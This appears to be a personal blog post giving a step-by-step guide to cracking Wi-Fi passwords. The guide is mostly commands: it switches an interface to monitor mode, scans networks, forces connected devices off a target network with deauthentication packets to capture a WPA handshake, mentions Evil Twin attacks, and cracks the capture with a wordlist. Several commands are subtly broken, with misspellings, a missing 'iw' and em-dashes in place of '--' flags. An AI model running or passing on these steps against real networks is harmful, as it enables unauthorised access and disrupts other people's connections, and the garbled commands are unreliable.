Cracking Wi-Fi Network

Posted by : on

Category : cracking


Set Philippine channel

sudo iw reg set PH

this is needed so we have access to more channels

See interfaces to use

iw dev
iwconfig

Set interface in monitor mode

sudo iwconfig wlan0 mode monitor 

Test the interface

sudo aireplay-ng --test wlan0

Soft reset of the interface

sudo airmon-ng chck kill
sudo ip link set wlan0 down
sudo dev wlan0 set type monitor

Scan Wi-Fi networks

sudo airodump-ng wlan0

or

sudo airodump-ng β€”band abg wlan0

Airgeddon πŸ‘¨πŸ»β€πŸ’»

A powerful tool for Kali, useful for obtaining handshakes and performing Evil Twin attacks. It’s worth noting that for capturing handshakes, it can be helpful to perform the following steps in another terminal while listening to connected devices, that is, during the handshake acquisition phase.

  • Identification of devices connected to a network
    sudo airodump-ng β€”bssid <target_mac> β€”channel <id> wlan0
    
  • Deauthentication of the found client
    sudo aireplay-ng β€”deauth 10 -a <Target MacAddress> -c <Target Device MAC> wlan0
    

    This procedure can be done for each client connected to the network to increase the chances of capturing a handshake.

Aircrack-ng πŸ‘¨πŸ»β€πŸ’»

Another powerful tool included within Airgeddon but that can also be used separately is Aircrack-ng. For example, it can be used to crack the .cap file with a dictionary. However, it is not very efficient and is somewhat less customizable, so Hashcat is often a better choice.

sudo aircrack-ng dict.txt handshake.cap

About Gabriele Lo Cascio

Passionate self-learner with a knack for dissecting the world around me. Constantly pushing boundaries by building projects from scratch and embracing new challenges.

  • 🧠 I'm particularly interested in AI and Machine Learning
  • 🏎 Apex Corse Team IT Member as Software Developer - Formula SAE
  • βš› Qiskit Fall Fest 2023 Organizer
  • πŸ‘¨πŸ»β€πŸ’» Contributed to VivereKaffettino
  • πŸŽ™οΈ I co-host the podcast Iperconnessi
  • πŸ‘¨πŸ»β€πŸ’» Alpine Climate Data Challenge for TELT Winner (2nd place)
  • πŸ‘¨πŸ»β€πŸ’» ItaDataHack24 Winner (2nd place)
  • πŸ‘¨πŸ»β€πŸ’» MDW Hackaton Winner (1st place)

Categories
Useful Links